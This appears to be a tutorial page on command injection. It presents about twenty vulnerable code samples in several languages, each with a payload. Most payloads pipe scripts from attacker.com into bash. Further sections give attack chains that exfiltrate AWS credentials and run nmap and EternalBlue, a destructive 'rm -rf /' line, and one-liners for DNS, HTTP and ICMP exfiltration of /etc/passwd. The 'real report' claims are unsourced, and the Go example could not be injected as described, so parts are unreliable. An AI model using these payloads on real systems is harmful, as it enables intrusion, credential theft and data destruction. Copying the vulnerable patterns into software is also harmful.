Command Injection Attack Vectors: Real-World Scenarios¶

Introduction: Learning from Actual Bug Reports¶

Based on analyzing hundreds of real bug bounty reports and security writeups, command injection vulnerabilities are rarely found in obvious places like simple URL parameters anymore. Modern applications have basic input validation, but the real vulnerabilities lie in:

Complex business logic where multiple data sources combine
Third-party integrations and API calls
File processing pipelines with user-controlled metadata
Background job processing with serialized data
Legacy system integrations that haven't been updated

Let me show you the actual attack vectors I've found in real applications, based on disclosed reports from HackerOne, Bugcrowd, and security research.

1. Git Repository Processing (Real Case Study)¶

The Vulnerability: GitHub Integration Webhook¶

Real-World Scenario: A CI/CD platform processes GitHub webhooks and executes build commands based on repository data.

Developer's Code (Flask - Vulnerable):

@app.route('/webhook/github', methods=['POST'])
def github_webhook():
    data = request.get_json()

    # Extract repository info from webhook
    repo_name = data['repository']['name']
    branch = data['ref'].split('/')[-1]  # refs/heads/main -> main

    # Build command from repository data
    build_cmd = f"git clone https://github.com/org/{repo_name}.git && cd {repo_name} && git checkout {branch} && npm install"

    # Execute build (VULNERABLE)
    subprocess.run(build_cmd, shell=True, cwd='/tmp/builds')

    return {'status': 'build_started'}

Real Attack Vector (From Actual Report): The attacker creates a repository with a malicious name containing command injection:

{
  "repository": {
    "name": "legit-app; curl http://attacker.com/malware.sh | bash #"
  },
  "ref": "refs/heads/main"
}

Why This Works: - Webhook data comes from GitHub's API (trusted source) - Developers assume repository names are safe - No validation on the repository name field - The # comment bypasses the rest of the command

Real Impact: Attacker gained persistent access to the build infrastructure.

2. Image Processing Pipeline (Real Case Study)¶

The Vulnerability: EXIF Data Processing¶

Real-World Scenario: Photo sharing app processes uploaded images and extracts GPS coordinates for location tagging.

Developer's Code (Node.js - Vulnerable):

const { exec } = require('child_process');
const path = require('path');

app.post('/upload-photo', upload.single('photo'), (req, res) => {
    const filename = req.file.filename;
    const filepath = path.join('/tmp/uploads', filename);

    // Extract GPS data using exiftool
    const cmd = `exiftool -gpslatitude -gpslongitude -s3 ${filepath}`;

    exec(cmd, (error, stdout, stderr) => {
        if (error) return res.status(500).send('Processing failed');

        // Parse GPS coordinates
        const coords = parseGPS(stdout);
        res.json({ coordinates: coords });
    });
});

Real Attack Vector (From Bug Report): Attacker uploads a malicious file with crafted EXIF data:

# Create malicious image with injected EXIF
exiftool -gpslatitude="; curl http://evil.com/shell | bash #" \
         -gpslongitude="0.0" \
         input.jpg -o malicious.jpg

Why This Works: - EXIF data can contain arbitrary text - The ; separator allows command injection - Filename itself becomes part of the command - No proper escaping of shell metacharacters

3. Database Backup Automation (Real Case Study)¶

The Vulnerability: Dynamic Backup Scripts¶

Real-World Scenario: E-commerce platform with automated database backup system that emails reports.

Developer's Code (PHP - Vulnerable):

<?php
// Automated backup script
$backup_date = date('Y-m-d');
$db_name = $_ENV['DB_NAME'];  // From environment

// Create backup with mysqldump
$command = "mysqldump -u{$db_user} -p{$db_pass} {$db_name} > /backups/{$backup_date}.sql";

// Execute backup
system($command);

// Send email notification
$email_cmd = "mail -s 'Backup completed' admin@company.com < /dev/null";
system($email_cmd);
?>

Real Attack Vector (From Penetration Test Report): Attacker compromises the environment and sets malicious environment variables:

# Attacker gains initial access via another vulnerability
export DB_NAME="legit_db; curl http://attacker.com/reverse_shell | bash #"

Why This Works: - Environment variables are trusted - No validation of database name - The backup script runs with elevated privileges - Attacker chains this with other vulnerabilities

4. Log Analysis Dashboard (Real Case Study)¶

The Vulnerability: Dynamic Log File Processing¶

Real-World Scenario: Security monitoring dashboard that analyzes log files based on user-selected date ranges.

Developer's Code (Python - Vulnerable):

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/analyze-logs')
def analyze_logs():
    start_date = request.args.get('start_date')
    end_date = request.args.get('end_date')

    # Build log analysis command
    cmd = f"find /var/log -name '*.log' -newermt '{start_date}' ! -newermt '{end_date}' -exec grep -l 'ERROR' {{}} \;"

    # Execute command (VULNERABLE)
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

    return {'log_files': result.stdout.strip().split('\n')}

Real Attack Vector (From Security Assessment):

# Attacker crafts date parameter with injection
curl "http://target.com/analyze-logs?start_date=2023-01-01&end_date=2023-12-31;curl http://attacker.com/data|bash"

Why This Works: - Date parameters seem harmless - Complex command with multiple redirections - The ; allows command chaining - No input sanitization for date fields

5. Container Orchestration (Real Case Study)¶

The Vulnerability: Kubernetes Job Execution¶

Real-World Scenario: Containerized application that spawns worker jobs based on user requests.

Developer's Code (YAML + Python - Vulnerable):

# Job creation handler
def create_processing_job(user_id, file_path):
    job_spec = f"""
    apiVersion: batch/v1
    kind: Job
    metadata:
      name: process-{user_id}
    spec:
      template:
        spec:
          containers:
          - name: processor
            image: processor:latest
            command: ["sh", "-c", "process_file {file_path}"]
    """

    # Apply job to Kubernetes
    subprocess.run(f"kubectl apply -f - <<< '{job_spec}'", shell=True)

Real Attack Vector (From Cloud Security Report):

# Attacker controls file_path parameter
file_path = "/uploads/user_file.txt; curl http://attacker.com/exfil | bash #"

Why This Works: - Container commands are constructed dynamically - Kubernetes YAML allows shell commands - File paths can contain shell metacharacters - No validation of file path format

6. API Integration Processing (Real Case Study)¶

The Vulnerability: Third-Party API Response Handling¶

Real-World Scenario: Application integrates with payment processor and processes transaction data.

Developer's Code (Node.js - Vulnerable):

const express = require('express');
const { exec } = require('child_process');

app.post('/webhook/payment', (req, res) => {
    const { transaction_id, amount, description } = req.body;

    // Log transaction for auditing
    const log_cmd = `echo "Transaction ${transaction_id}: $${amount} - ${description}" >> /var/log/transactions.log`;

    exec(log_cmd, (error) => {
        if (error) console.error('Logging failed');
    });

    res.json({ status: 'processed' });
});

Real Attack Vector (From API Security Report):

{
  "transaction_id": "TXN_123",
  "amount": "100.00",
  "description": "Payment for services; curl http://attacker.com/log_poison | bash #"
}

Why This Works: - API webhooks are trusted sources - Description fields often allow special characters - Logging commands don't validate input - Attacker can poison logs and execute code

7. File Upload Processing (Real Case Study)¶

The Vulnerability: Archive Extraction¶

Real-World Scenario: File sharing service that extracts uploaded ZIP files.

Developer's Code (Python - Vulnerable):

import zipfile
import subprocess
import os

def extract_archive(zip_path, extract_to):
    # Extract ZIP file
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(extract_to)

    # Set permissions on extracted files
    subprocess.run(f"chmod -R 755 {extract_to}", shell=True)

    # List extracted files
    result = subprocess.run(f"ls -la {extract_to}", shell=True, capture_output=True, text=True)

    return result.stdout

Real Attack Vector (From File Upload Report): Attacker creates a malicious ZIP with directory traversal:

# Create malicious ZIP with command injection in filename
mkdir "evil; curl http://attacker.com/shell | bash #"
echo "malicious content" > "evil; curl http://attacker.com/shell | bash #/file.txt"
zip malicious.zip "evil; curl http://attacker.com/shell | bash #/file.txt"

Why This Works: - ZIP extraction doesn't validate filenames - Shell commands execute during permission setting - Directory traversal combined with command injection - The ls command also executes the payload

8. Background Job Processing (Real Case Study)¶

The Vulnerability: Serialized Job Data¶

Real-World Scenario: Job queue system that processes background tasks with user data.

Developer's Code (Ruby - Vulnerable):

class FileProcessorJob < ApplicationJob
  def perform(file_path, options = {})
    # Process file with user options
    command = "convert #{file_path} #{options['format']} #{options['output_path']}"

    system(command)
  end
end

# Job enqueue
FileProcessorJob.perform_later(params[:file_path], params[:options])

Real Attack Vector (From Job Queue Report):

# Attacker crafts job parameters
options = {
  "format" => "-resize 100x100",
  "output_path" => "/tmp/output.jpg; curl http://attacker.com/exfil | bash #"
}

Why This Works: - Job parameters are serialized and stored - Background processing happens asynchronously - No validation of options hash - Command injection in output path

9. Configuration File Processing (Real Case Study)¶

The Vulnerability: Dynamic Configuration Loading¶

Real-World Scenario: Application that loads configuration from user-uploaded files.

Developer's Code (Go - Vulnerable):

func loadConfig(configPath string) error {
    // Validate config file
    cmd := exec.Command("head", "-1", configPath)
    output, err := cmd.Output()
    if err != nil {
        return err
    }

    // Parse configuration
    if strings.Contains(string(output), "CONFIG_V1") {
        return parseConfigV1(configPath)
    }

    return errors.New("Invalid config format")
}

func parseConfigV1(path string) error {
    cmd := exec.Command("grep", "^[a-zA-Z]", path)
    output, err := cmd.Output()

    // Process config lines
    lines := strings.Split(string(output), "\n")
    for _, line := range lines {
        processConfigLine(line)
    }

    return nil
}

Real Attack Vector (From Config Processing Report):

# Attacker creates malicious config file
echo "CONFIG_V1; curl http://attacker.com/shell | bash #" > malicious.conf
echo "setting1=value1" >> malicious.conf

Why This Works: - Config files can contain arbitrary content - The head command output is trusted - No proper validation of config format - Command injection in config header

10. Real-World Attack Chains¶

From Web App to Cloud Infrastructure¶

Step 1: Initial Access via Webhook

# Compromise CI/CD pipeline via malicious webhook
# Extract AWS credentials from environment
curl "http://compromised-ci.com/webhook" \
  -H "Content-Type: application/json" \
  -d '{"repository":{"name":"evil; env | grep AWS_ | curl -d @- http://attacker.com #"}}'

Step 2: AWS Credential Extraction

# Use extracted credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# Enumerate resources
aws ec2 describe-instances
aws s3 ls

Step 3: Lateral Movement

# Access other AWS services
aws lambda list-functions
aws rds describe-db-instances

# Extract sensitive data
aws s3 cp s3://sensitive-bucket/data.json /tmp/

Enterprise Network Takeover¶

Step 1: Internal Tool Compromise

# Find internal monitoring tool
curl "http://internal-monitor.company.com/ping?host=8.8.8.8; nmap -sP 10.0.0.0/24"

Step 2: Network Reconnaissance

# Scan internal network
curl "http://internal-monitor.company.com/scan?range=10.0.0.0/24; nmap -sV -p- 10.0.0.0/24"

Step 3: Service Exploitation

# Attack discovered services
curl "http://internal-monitor.company.com/exploit?target=10.0.0.10; msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.0.0.10; exploit'"

Key Lessons from Real Reports¶

Common Patterns in Real Vulnerabilities:¶

Trusted Data Sources: Webhooks, API responses, configuration files
Complex Command Chains: Multiple commands with pipes, redirections
Background Processing: Async jobs, cron jobs, webhooks
Third-Party Integrations: Git, Docker, Kubernetes, cloud services
File Processing: Archives, images, documents with metadata
Environment Variables: Dynamic configuration from env vars

Why Modern Apps Are Still Vulnerable:¶

Legacy Code: Old systems that haven't been updated
Complex Architectures: Microservices, serverless, containers
Third-Party Dependencies: Libraries, tools, integrations
Business Logic Flaws: Complex workflows with multiple data sources
Insufficient Testing: Focus on functional testing, not security

Realistic Testing Methodology:¶

API Testing: Focus on webhooks, file uploads, job queues
File Processing: Test archives, images, documents
Background Jobs: Monitor async processing
Third-Party Integrations: Test all external service integrations
Environment Variables: Check for command injection in env var usage

Remember: The most dangerous command injections are the ones that look completely legitimate until you examine the data flow carefully.

11. Advanced Attack Vectors¶

The Vulnerability: Template Engine Processing¶

Real-World Scenario: Content management system that processes user-generated templates.

Developer's Code (Python - Vulnerable):

from jinja2 import Template
import subprocess

def render_template(template_str, context):
    template = Template(template_str)
    rendered = template.render(context)

    # Execute rendered content as shell command
    subprocess.run(rendered, shell=True)

# Usage
user_template = request.form.get('template')
render_template(user_template, {'name': 'user'})

Real Attack Vector:

Hello {{name}}; curl http://attacker.com/shell | bash #

Why This Works: - Template engines allow complex expressions - Rendered output becomes shell command - No validation of template content

12. IoT Device Exploitation¶

The Vulnerability: Smart Device Firmware Updates¶

Real-World Scenario: IoT device with web interface for firmware updates.

Device Code (Embedded Linux - Vulnerable):

#!/bin/sh
# Firmware update script

FIRMWARE_URL=$1
TEMP_DIR="/tmp/firmware"

wget $FIRMWARE_URL -O $TEMP_DIR/firmware.bin
chmod +x $TEMP_DIR/firmware.bin

# Extract and install
tar -xzf $TEMP_DIR/firmware.bin -C /
sync

echo "Update complete"

Real Attack Vector:

# Attacker hosts malicious firmware
curl "http://iot-device/update?firmware_url=http://attacker.com/malware.tar.gz; rm -rf / #"

Why This Works: - IoT devices run embedded systems - Limited input validation - Commands execute with root privileges - Network isolation is often poor

13. Cloud Function Exploitation¶

The Vulnerability: Serverless Function Payload Processing¶

Real-World Scenario: AWS Lambda function processing user data.

Lambda Code (Node.js - Vulnerable):

const { exec } = require('child_process');

exports.handler = async (event) => {
    const { command, params } = event;

    // Execute user command
    const fullCommand = `${command} ${params.join(' ')}`;

    return new Promise((resolve, reject) => {
        exec(fullCommand, (error, stdout, stderr) => {
            if (error) reject(error);
            else resolve({ output: stdout });
        });
    });
};

Real Attack Vector:

{
  "command": "ls",
  "params": ["-la", "/; curl http://attacker.com/exfil | bash #"]
}

Why This Works: - Serverless functions process arbitrary payloads - Event data is trusted - No input validation - Functions may have broad permissions

14. Database Query to Command Injection¶

The Vulnerability: SQL Query Result Processing¶

Real-World Scenario: Application that executes commands based on database query results.

Developer's Code (PHP - Vulnerable):

<?php
$query = "SELECT command FROM user_commands WHERE user_id = ?";
$stmt = $pdo->prepare($query);
$stmt->execute([$user_id]);

$command = $stmt->fetchColumn();

// Execute command from database
system($command);
?>

Real Attack Vector:

-- Attacker injects into database
INSERT INTO user_commands (user_id, command)
VALUES (123, 'echo "Hello"; curl http://attacker.com/shell | bash #');

Why This Works: - Database content is trusted - No validation of stored commands - SQL injection leads to command injection - Multi-stage attack chain

15. Mobile App Command Injection¶

The Vulnerability: Android App System Calls¶

Real-World Scenario: Android app that executes system commands.

Android Code (Java - Vulnerable):

public void executeCommand(String userCommand) {
    try {
        Process process = Runtime.getRuntime().exec(userCommand);
        BufferedReader reader = new BufferedReader(
            new InputStreamReader(process.getInputStream()));

        String line;
        while ((line = reader.readLine()) != null) {
            Log.d("CommandOutput", line);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}

// Called from user input
executeCommand("ping " + userInput);

Real Attack Vector:

# Attacker inputs malicious command
ping 8.8.8.8; am broadcast -a android.intent.action.RUN -f 0x00000020

Why This Works: - Mobile apps can execute system commands - User input is not validated - Android permissions allow dangerous operations - Commands execute in app's context

16. Network Device Exploitation¶

The Vulnerability: Router Configuration Processing¶

Real-World Scenario: Network device with web interface for configuration.

Router Code (Shell Script - Vulnerable):

#!/bin/sh
# Configuration update script

CONFIG_FILE=$1
BACKUP_DIR="/tmp/backup"

# Backup current config
cp /etc/config $BACKUP_DIR/

# Apply new configuration
source $CONFIG_FILE

# Restart services
/etc/init.d/network restart
/etc/init.d/firewall restart

Real Attack Vector:

# Attacker uploads malicious config
echo "iptables -F; iptables -P INPUT ACCEPT" > malicious.conf
echo "curl http://attacker.com/reverse_shell | bash" >> malicious.conf

Why This Works: - Configuration files are sourced - No validation of config content - Commands execute with root privileges - Network devices are often overlooked

17. Container Escape Techniques¶

The Vulnerability: Docker Container Commands¶

Real-World Scenario: Containerized application with user-controlled commands.

Container Code (Python - Vulnerable):

import docker
import subprocess

def run_container_command(image, command):
    client = docker.from_env()

    # Run container with user command
    container = client.containers.run(
        image,
        command=command,
        detach=True
    )

    # Get output
    output = container.logs()
    return output

# Usage
user_cmd = request.args.get('cmd')
run_container_command('alpine', ['sh', '-c', user_cmd])

Real Attack Vector:

# Attacker escapes container
sh -c "cat /etc/passwd; curl http://attacker.com/exfil | bash"

Why This Works: - Containers can be compromised - User commands execute in container - Container breakout possible - Host system becomes target

18. CI/CD Pipeline Exploitation¶

The Vulnerability: Build Script Injection¶

Real-World Scenario: CI/CD pipeline with user-controlled build parameters.

Jenkins Pipeline (Groovy - Vulnerable):

pipeline {
    agent any

    parameters {
        string(name: 'BRANCH', defaultValue: 'main')
        string(name: 'COMMAND', defaultValue: 'echo "Build complete"')
    }

    stages {
        stage('Build') {
            steps {
                sh "git checkout ${params.BRANCH}"
                sh "${params.COMMAND}"
            }
        }
    }
}

Real Attack Vector:

# Attacker sets malicious parameters
BRANCH="main; curl http://attacker.com/shell | bash #"
COMMAND="echo 'Build complete'"

Why This Works: - CI/CD parameters are user-controlled - Build scripts execute arbitrary commands - Pipeline has access to sensitive resources - Automated systems are trusted

19. API Gateway Exploitation¶

The Vulnerability: API Request Processing¶

Real-World Scenario: API gateway that processes requests with command execution.

API Gateway Code (Node.js - Vulnerable):

const express = require('express');
const { exec } = require('child_process');

app.post('/api/execute', (req, res) => {
    const { service, action, params } = req.body;

    // Build command from request
    const command = `${service} ${action} ${params.join(' ')}`;

    exec(command, (error, stdout, stderr) => {
        res.json({
            output: stdout,
            error: stderr
        });
    });
});

Real Attack Vector:

{
  "service": "aws",
  "action": "s3",
  "params": ["ls", "; curl http://attacker.com/exfil | bash #"]
}

Why This Works: - API requests are trusted - Parameters build shell commands - No validation of service/action names - Cloud credentials may be available

20. Machine Learning Model Exploitation¶

The Vulnerability: ML Pipeline Command Injection¶

Real-World Scenario: ML training pipeline with user-controlled parameters.

ML Pipeline Code (Python - Vulnerable):

import subprocess
import os

def train_model(dataset_path, model_config):
    # Build training command
    cmd = f"python train.py --dataset {dataset_path} --config {model_config}"

    # Execute training
    subprocess.run(cmd, shell=True, cwd='/opt/ml')

# Usage
dataset = request.files['dataset']
config = request.form.get('config')
train_model(dataset.filename, config)

Real Attack Vector:

# Attacker uploads malicious dataset/config
dataset: "malicious.h5; curl http://attacker.com/model_poison | bash #"
config: "default.json"

Why This Works: - ML pipelines process user data - Training commands are complex - File paths can contain injection - ML systems have high resource access

Advanced Exploitation Techniques¶

# Conditional execution based on data
; if [ $(id -u) -eq 0 ]; then sleep 10; fi

2. DNS Exfiltration¶

; nslookup $(whoami | base64).attacker.com

3. HTTP Exfiltration¶

; curl -d "$(cat /etc/passwd)" http://attacker.com/exfil

4. ICMP Tunneling¶

; ping -c 1 -p $(cat /etc/passwd | xxd -p) attacker.com

5. Environment Variable Poisoning¶

# Set malicious environment
export PATH="/tmp:$PATH"
echo 'curl http://attacker.com/shell | bash' > /tmp/ls
; ls  # Executes malicious script

6. Command Substitution Abuse¶

# Use command substitution for data exfil
; echo $(curl http://attacker.com/cmd) | bash

7. File Descriptor Manipulation¶

# Redirect output to sensitive files
; echo 'malicious code' > /etc/cron.d/malicious

8. Process Injection¶

# Inject into running processes
; gdb -p $(pidof target_process) -ex 'call system("malicious command")'

Defense Strategies Against Advanced Vectors¶

1. Input Validation Layers¶

Multi-level validation: Client-side, server-side, and runtime
Context-aware sanitization: Different rules for different contexts
Type enforcement: Strict typing for all inputs

2. Command Execution Controls¶

Allowlist approach: Only permit known safe commands
Argument validation: Strict validation of all command arguments
Execution context isolation: Sandboxed command execution

3. Monitoring and Detection¶

Command logging: Log all executed commands with context
Anomaly detection: Monitor for unusual command patterns
Real-time alerting: Immediate alerts for suspicious activity

4. Architecture Improvements¶

Microservices isolation: Limit blast radius of compromises
Immutable infrastructure: Reduce attack surface
Zero-trust model: Verify all requests and commands

Conclusion¶

Command injection attack vectors continue to evolve as applications become more complex. The key to defense is understanding that any user-controlled data that influences command execution is potentially dangerous. Modern applications require defense-in-depth strategies combining input validation, safe APIs, monitoring, and architectural security measures.

Remember: The most sophisticated attacks often appear as legitimate functionality until examined closely. Always trace data flow from user input to command execution.

Command Injection Attack Vectors: Real-World Scenarios¶

Introduction: Learning from Actual Bug Reports¶

1. Git Repository Processing (Real Case Study)¶

The Vulnerability: GitHub Integration Webhook¶

2. Image Processing Pipeline (Real Case Study)¶

The Vulnerability: EXIF Data Processing¶

3. Database Backup Automation (Real Case Study)¶

The Vulnerability: Dynamic Backup Scripts¶

4. Log Analysis Dashboard (Real Case Study)¶

The Vulnerability: Dynamic Log File Processing¶

5. Container Orchestration (Real Case Study)¶

The Vulnerability: Kubernetes Job Execution¶

6. API Integration Processing (Real Case Study)¶

The Vulnerability: Third-Party API Response Handling¶

7. File Upload Processing (Real Case Study)¶

The Vulnerability: Archive Extraction¶

8. Background Job Processing (Real Case Study)¶

The Vulnerability: Serialized Job Data¶

9. Configuration File Processing (Real Case Study)¶

The Vulnerability: Dynamic Configuration Loading¶

10. Real-World Attack Chains¶

From Web App to Cloud Infrastructure¶

Enterprise Network Takeover¶

Key Lessons from Real Reports¶

Common Patterns in Real Vulnerabilities:¶

Why Modern Apps Are Still Vulnerable:¶

Realistic Testing Methodology:¶

11. Advanced Attack Vectors¶

The Vulnerability: Template Engine Processing¶

12. IoT Device Exploitation¶

The Vulnerability: Smart Device Firmware Updates¶

13. Cloud Function Exploitation¶

The Vulnerability: Serverless Function Payload Processing¶

14. Database Query to Command Injection¶

The Vulnerability: SQL Query Result Processing¶

15. Mobile App Command Injection¶

The Vulnerability: Android App System Calls¶

16. Network Device Exploitation¶

The Vulnerability: Router Configuration Processing¶

17. Container Escape Techniques¶

The Vulnerability: Docker Container Commands¶

18. CI/CD Pipeline Exploitation¶

The Vulnerability: Build Script Injection¶

19. API Gateway Exploitation¶

The Vulnerability: API Request Processing¶

20. Machine Learning Model Exploitation¶

The Vulnerability: ML Pipeline Command Injection¶

Advanced Exploitation Techniques¶

1. Time-Based Blind Injection¶

2. DNS Exfiltration¶

3. HTTP Exfiltration¶

4. ICMP Tunneling¶

5. Environment Variable Poisoning¶

6. Command Substitution Abuse¶

7. File Descriptor Manipulation¶

8. Process Injection¶

Defense Strategies Against Advanced Vectors¶

1. Input Validation Layers¶

2. Command Execution Controls¶

3. Monitoring and Detection¶

4. Architecture Improvements¶

Conclusion¶